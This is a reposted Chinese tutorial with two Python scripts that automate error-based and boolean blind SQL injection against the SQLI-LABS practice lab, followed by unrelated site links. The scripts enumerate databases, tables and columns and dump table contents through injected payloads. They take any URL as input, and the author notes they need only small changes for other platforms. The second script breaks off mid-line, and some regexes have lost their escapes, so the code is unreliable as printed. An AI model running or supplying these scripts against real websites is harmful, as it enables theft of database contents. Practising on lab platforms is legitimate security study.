python腳本自動化盲注_三、基于報錯型注入和sql盲注的自動化實現

通過前面payload的構造,不難發現,對于報錯型注入和布爾注入(sql盲注)純手工注入的效率是非常慢的。這些payload語句雖然復雜,但大部分內容都是相同的,因此,一言不合就寫了個腳本自動化注入,坐等信息爆出的感覺–>我就靜靜看著不說話_

以下兩個python腳本僅適用于SQLI-LABS,在其他平臺使用還需要做少許改動~~~

*** SQLI-LABS 是一個專業的SQL注入練習平臺**

基于報錯型注入的自動化腳本(sqli-labs-master/Less-5/)

#!/usr/bin/env python

#coding=utf-8

import sys

import requests

import re

import binascii

#sys.argv[1]

# --dbs url

# --tables -D database url

# --columns -T tablename -D database url

# --dump -C columnname -T tablename -D database url

def http_get(url):

# proxies = {'http': 'http://127.0.0.1:8080'}

#return requests.get(dbs_num_url, proxies=proxies)

return requests.get(url)

def getAllDatabases(url):

dbs_num_url = url + "'+and(select 1 from(select count(*),concat((select (select (select concat(0x7e7e3a7e7e, count(distinct+table_schema),0x7e7e3a7e7e) from information_schema.tables)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+ "

resp = http_get(dbs_num_url)

html = resp.content

#print html

# ~~:~~4~~:~~

dbs_num = int(re.search(r'~~:~~(d*?)~~:~~', html).group(1))

print (u"數據庫數量: %d" % dbs_num)

dbs = []

print (u"數據庫名: ")

for index in xrange(0,dbs_num):

db_name_url = url + "'+and(select 1 from(select count(*),concat((select (select (select distinct concat(0x7e7e3a7e7e, table_schema, 0x7e7e3a7e7e) from information_schema.tables limit %d,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+" % index

html = http_get(db_name_url).content

db_name = re.search(r'~~:~~(.*?)~~:~~', html).group(1)

dbs.append(db_name)

print ("t%s" % db_name)

def getAllTablesByDb(url, db_name):

db_name_hex = "0x" + binascii.b2a_hex(db_name)

tables_num_url = url + "'+and(select 1 from(select count(*),concat((select (select ( select concat(0x7e7e3a7e7e, count(table_name), 0x7e7e3a7e7e) from information_schema.tables where table_schema=%s)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+" % db_name_hex

html = http_get(tables_num_url).content

tables_num = int(re.search(r'~~:~~(d*?)~~:~~', html).group(1))

print (u"%s 庫中,表的數量: %d" % (db_name, tables_num))

print (u"表名: ")

for index in xrange(0,tables_num):

tables_name_url = url + "'+and(select 1 from(select count(*),concat((select (select ( select concat(0x7e7e3a7e7e, table_name, 0x7e7e3a7e7e) from information_schema.tables where table_schema=%s limit %d,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+" % (db_name_hex, index)

html = http_get(tables_name_url).content

table_name = re.search(r'~~:~~(.*?)~~:~~', html).group(1)

print ("t%s" % table_name)

def getAllColumnsByTable(url, db_name,tab_name):

db_name_hex = "0x" + binascii.b2a_hex(db_name)

tab_name_hex = "0x" + binascii.b2a_hex(tab_name)

column_num_url = url + "' and (select 1 from (select count(*),concat(0x3a,0x3a,(select count(column_name) from information_schema.columns where table_schema=%s and table_name=%s),0x3a,0x3a, floor(rand(0)*2)) a from information_schema.columns group by a)s) --+" % (db_name_hex,tab_name_hex)

html = http_get(column_num_url).content

column_num = int(re.search(r'::(d*?)::', html).group(1))

print (u"%s 表中,字段的數量: %d" % (tab_name, column_num))

print (u"列名:")

for index in xrange(0,column_num):

tables_name_url = url + "' and (select 1 from (select count(*),concat(0x3a,0x3a,(select column_name from information_schema.columns where table_schema=%s and table_name=%s limit %d,1),0x3a,0x3a, floor(rand(0)*2)) a from information_schema.columns group by a)s) --+" % (db_name_hex,tab_name_hex,index)

html = http_get(tables_name_url).content

column_name = re.search(r'::(.*?)::', html).group(1)

print ("t%s" % column_name)

pass

def getAllContent(url, db_name, tab_name, col_name,):

# db_name_hex = "0x" + binascii.b2a_hex(db_name)

# tab_name_hex = "0x" + binascii.b2a_hex(tab_name)

# col_name = binascii.b2a_hex(col_name)

# col = re.split(",",col_name) #分割參數:字段名

# le = len(col)

content_num_url = url + "' and (select 1 from (select count(*),concat(0x3a,0x3a,(select count(*) from %s.%s),0x3a,0x3a,floor(rand(0)*2)) a from information_schema.columns group by a)s) --+" % (db_name,tab_name)

html = http_get(content_num_url).content

col_name_re = col_name.replace(',',',0x09,')

content_num = int(re.search(r'::(d*?)::', html).group(1))

print "%s 表中,行數為: %d" % (tab_name, content_num)

for index in xrange(0,content_num):

content_name_url = url + "' and (select 1 from (select count(*),concat((select concat(0x3a,0x3a,%s,0x3a,0x3a) from %s.%s limit %d,1), floor(rand(0)*2)) a from information_schema.columns group by a)s) --+" % (col_name_re,db_name,tab_name,index)

html = http_get(content_name_url).content

# print htmlsss

content_name = re.search(r'::(.*?)::', html).group(1)

print "t%s" % content_name

def main():

if sys.argv[1] == '--dbs':

getAllDatabases(sys.argv[2])

elif sys.argv[1] == '--tables':

getAllTablesByDb(sys.argv[4], sys.argv[3])

elif sys.argv[1] == '--columns':

# print sys.argv[6],sys.argv[5],sys.argv[3]

getAllColumnsByTable(sys.argv[6],sys.argv[5],sys.argv[3])

pass

elif sys.argv[1] == '--dump':

getAllContent(sys.argv[8], sys.argv[7], sys.argv[5], sys.argv[3])

# print sys.argv[8], sys.argv[7], sys.argv[5], sys.argv[3]

pass

else:

print (u"我不懂你的參數!")

if __name__ == '__main__':

main()

基于bool型注入(sql盲注)的自動化腳本(sqli-labs-master/Less-8/)

#!/usr/bin/env python

#coding=utf-8

import sys

import requests

import re

import binascii

#sys.argv[1]

# --dbs url

# --tables url -D database

# --columns url -D database -T tablename

# --dump url -D database -T tablename -C columnname

def http_get(url):

return requests.get(url)

pass

def dichotomy(sql): #二分法

left = 1

right = 500

while 1:

mid = (left + right)/2

# print mid

if mid == left:

return mid

break

db_count_url = sql + "%d)--+" % mid

# print db_count_url

html = http_get(db_count_url).content

# print html

search_flag = re.search("You are in", html)

if search_flag:

right = mid

# print "right:" + str(right)

else:

left = mid

# print "left:" + str(left)

def getAllDabatases(url):

search_db_num =url + "' and ((select count(schema_name) from information_schema.schemata)

文章來源于互聯網,如有雷同請聯系站長刪除:三、基于報錯型注入和sql盲注的自動化實現

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/275935.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/275935.shtml
英文地址,請注明出處:http://en.pswp.cn/news/275935.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

NASA公布“門戶計劃”,在月球軌道建立空間站進一步探索月球

門戶是NASA研發一種小型的宇宙飛船的名字,該宇宙飛船將圍繞月球軌道運行 成為宇航員臨時住所和辦公室。 日前,美國宇航局(以下簡稱“NASA”)公布了“門戶計劃”,該計劃具體是指在月球軌道上建立空間站,以幫…

淺析Page.LoadTemplate(模板)方法動態獲取綁定模板后,通過FindControl獲取服務端控件的方法。...

平常使用DataList數據控件綁定數據時&#xff0c;都是在ItemTemplate項里面放入 <asp:DataList ID"list2"runat"server"><ItemTemplate><asp:HyperLink ID"hl"runat"server"></asp:HyperLink></ItemTempl…

蘋果5s變磚_蘋果磚的故事以及可以改進的地方

蘋果5s變磚Even since I can remember I’ve always been curious about trying out all kinds of software, checking out different operating systems, and improving my own user experience through customizing them. Over the years I’ve had the opportunity to test …

學習 launch-editor 源碼整體架構,探究 vue-devtools「在編輯器中打開組件」功能實現原理...

1. 前言你好&#xff0c;我是若川[1]&#xff0c;微信搜索「若川視野」關注我&#xff0c;專注前端技術分享&#xff0c;一個愿景是幫助5年內前端開闊視野走向前列的公眾號。歡迎加我微信ruochuan12&#xff0c;長期交流學習。這是學習源碼整體架構系列 之 launch-editor 源碼&…

:傳遞給 left 或 substring 函數的長度參數無效。_Java函數式編碼結構-好程序員

好程序員Java培訓分享Java函數式編碼結構&#xff0c;本文將探討三種下一代JVM語言&#xff1a;Groovy、Scala和Clojure&#xff0c;比較并對比新的功能和范例&#xff0c;讓Java開發人員對自己近期的未來發展有大體的認識&#xff0c;下面我們一起來看一下吧。當垃圾回收成為主…

系統架構師學習筆記_第十一章(上)_連載

第十一章 信息安全技術 11.1 信息安全關鍵技術 11.1.1 加密和解密 有意的計算機犯罪 和 無意的數據破壞 被動攻擊&#xff1a;非法地從傳輸信道上截取信息&#xff0c;或從存儲載體上 偷竊、復制 信息。 主動攻擊&#xff1a;對傳輸或存儲的數據進行 惡意的刪除、篡改 等。 …

跨庫一致性_設計跨平臺的一致性

跨庫一致性I offended an Apple employee the other day when I was checking out the new iPad Pro and I told him that I was an Android phone user. Eyes rolled, jokes were made, and we agreed to disagree.前幾天&#xff0c;我在檢閱新iPad Pro時冒犯了一名蘋果員工&…

React-生命周期雜記

前言 自從React發布Fiber之后&#xff0c;更新速度日新月異&#xff0c;而生命周期也隨之改變&#xff0c;雖然原有的一些生命周期函數面臨廢棄&#xff0c;但理解其背后更新的機制也是一種學習 在這里根據官方文檔以及社區上其他優秀的文章進行一個對于生命周期的總結&#xf…

漫畫 | 一個NB互聯網項目的上線過程…

大家好&#xff0c;我是若川&#xff08;點這里加我微信 ruochuan12&#xff0c;長期交流學習&#xff09;。今天雖然是周六&#xff0c;但還是要上班&#xff0c;所以就推薦一篇比較輕松的漫畫。點擊下方卡片關注我、加個星標&#xff0c;或者查看源碼等系列文章。學習源碼整體…

stm32 中斷處理級別_STM32中斷優先級徹底講解

文章來源&#xff1a;http://blog.sina.com.cn/s/blog_4fed55ce0100j7nd.html一&#xff1a;綜述STM32 目前支持的中斷共為 84 個(16 個內核68 個外部)&#xff0c; 16 級可編程中斷優先級的設置(僅使用中斷優先級設置 8bit 中的高 4 位)和16個搶占優先級(因為搶占優先級最多可…

胖子臉:庫珀·布萊克100年

In 16th century Europe, roman typefaces were the first to surpass blackletter as the preferred choice for expressing emphasis in print. True bold weight roman letters didn’t appear until the 19th century, which critics quickly coined “Fat Faces” due to …

C語言中的布爾值

C語言的布爾類型在C語言標準(C89)沒有定義布爾類型&#xff0c;所以C語言判斷真假時以0為假&#xff0c;非0為真。所以我們通常使用邏輯變量的做法&#xff1a; //定義一個int類型變量&#xff0c;當變量值為0時表示false&#xff0c;值為1時表示trueint flag;flag 0;//......…

用委托實現窗體間傳值

1.新建一個工程.在Form1中添加一個Label和一個Button.新建一個事件類,讓它有一個string 類型的屬性,用于傳值. 1 ///ReturnValueEventArgs.cs 2 using System; 3 using System.Collections.Generic; 4 using System.Text; 5 6 namespace test 7 { 8 public class Return…

c++ explicit關鍵字_聊一聊 C++的特性 explicit 匿名空間

聊一聊 C的特性 explicit && 匿名空間explicit關鍵字首先看一下explicit的作用&#xff1a;explicit 是避免構造函數的參數自動轉換為類對象的標識符&#xff0c;平時代碼中并不是經常用到&#xff0c;但是&#xff0c;有時候就是因為這個&#xff0c;會造成一定的BUG出…

谷歌瀏覽器那些有趣的隱藏功能

大家好&#xff0c;我是若川&#xff08;點這里加我微信 ruochuan12&#xff0c;長期交流學習&#xff09;。今天推薦一篇實用文章。文末有抽獎。點擊下方卡片關注我、加個星標&#xff0c;或者查看源碼等系列文章。學習源碼整體架構系列、年度總結、JS基礎系列很多小伙伴說還是…

AppDelegate的模塊化+瘦身

前言 關于iOS的模塊化&#xff0c;要追溯到16年接觸的BeeHive了&#xff0c;BeeHive將功能模塊化&#xff0c;以module的形式進行構建&#xff0c;以performSelector&#xff1a;的形式進行module的事件響應&#xff0c;以protocol的形式進行module間的通信。可以說思路非常清晰…

yii mysql_Yii2框架操作數據庫的方法分析【以mysql為例】

本文實例講述了Yii2框架操作數據庫的方法。分享給大家供大家參考&#xff0c;具體如下&#xff1a;準備數據庫DROP TABLE IF EXISTS pre_user;CREATE TABLE pre_user(id int(11) AUTO_INCREMENT PRIMARY KEY,username varchar(255) NOT NULL,password varchar(32) NOT NULL DEF…

C++接口注意

1. 用Record接口&#xff0c;要注意 Packed的區別 2. cdecl和stdcall的區別 3. C導出的函數建議用C格式stdcall導出&#xff0c;使用Def文件定義名稱 4. 用VS寫的API dll要注意是否引用了MFC的DLL&#xff0c;否則會使LoadLibrary失敗&#xff0c;并GetLastError后返回14001 Ap…

Vue 3.1.0 的 beta 版發布

大家好&#xff0c;我是若川&#xff08;點這里加我微信 ruochuan12&#xff0c;長期交流學習&#xff09;。昨晚尤大視頻號直播說到vue 3.1.0 beta版發布了&#xff0c;今天分享這篇文章。也有小伙伴可能注意到了昨晚我一直在送禮物。點擊下方卡片關注我、加個星標&#xff0c…

設計模式練習_設計練習是邪惡的

設計模式練習It was the final round of interviews. Or, so the candidate thought.這是采訪的最后一輪。 或者&#xff0c;所以候選人認為。 She’d spent all day interviewing in our office. As the final interviewer, I walked her out the building. She seemed confi…